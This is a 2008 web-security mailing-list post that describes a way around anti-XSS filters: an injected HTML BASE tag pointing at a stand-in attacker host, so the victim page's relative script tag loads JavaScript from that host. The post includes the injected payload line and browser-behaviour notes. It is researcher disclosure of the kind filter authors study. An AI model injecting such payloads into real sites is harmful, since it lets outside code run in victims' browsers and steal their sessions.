* From: Amit Klein <[EMAIL PROTECTED]> * Subject: [WEB SECURITY] Nice little XSS trick * Date: Tue, 15 Jul 2008 13:33:41 +0200
_____ size=2 width="100%" align=center> Hi list Recently I've been thinking about bypassing anti-XSS filters, and a nice little trick occurred to me, which I haven't seen anywhere (e.g. it's not on RSnake's XSS cheat sheet - <http://ha.ckers.org/xss.html> http://ha.ckers.org/xss.html; it does mention BASe, but not the trick I describe here). The idea is to use the HTML BASE tag to force loading of JS code from the attacker's host. Consider a page with XSS vulnerability such as: <html> ... ***XSS code may be embedded here*** ... <script src="/foo/bar.js"></script> ... </html> Now, an attacker can inject <base href=" <http://www.attacker.tld/%22> http://www.attacker.tld/";;>, and next thing you know, the browser (IE, at least) loads the JS from <http://www.attacker.tld/foo/bar.js> http://www.attacker.tld/foo/bar.js... And the beauty is that there's no "explicit" JS code involved in the payload itself. Note that according to the HTML standard, BASE should be placed in the HEAD section ( <http://www.w3.org/TR/html401/struct/links.html#edef-BASE> http://www.w3.org/TR/html401/struct/links.html#edef-BASE). This is indeed observed by FF 2, but not by IE (checked IE6). Thanks, -Amit [Ph4nt0m] <http://www.ph4nt0m.org/> [Ph4nt0m Security Team] <http://blog.ph4nt0m.org/> [EMAIL PROTECTED] Email: [EMAIL PROTECTED] PingMe: <http://cn.pingme.messenger.yahoo.com/webchat/ajax_webchat.php?yid=hanqin_wu hq&sig=9ae1bbb1ae99009d8859e88e899ab2d1c2a17724> === V3ry G00d, V3ry Str0ng === === Ultim4te H4cking === === XPLOITZ ! === === #_# === #If you brave,there is nothing you cannot achieve.# --~--~---------~--~----~------------~-------~--~----~ 要向邮件组发送邮件，请发到 [email protected] 要退订此邮件，请发邮件至 [EMAIL PROTECTED] -~----------~----~----~----~------~----~------~--~---
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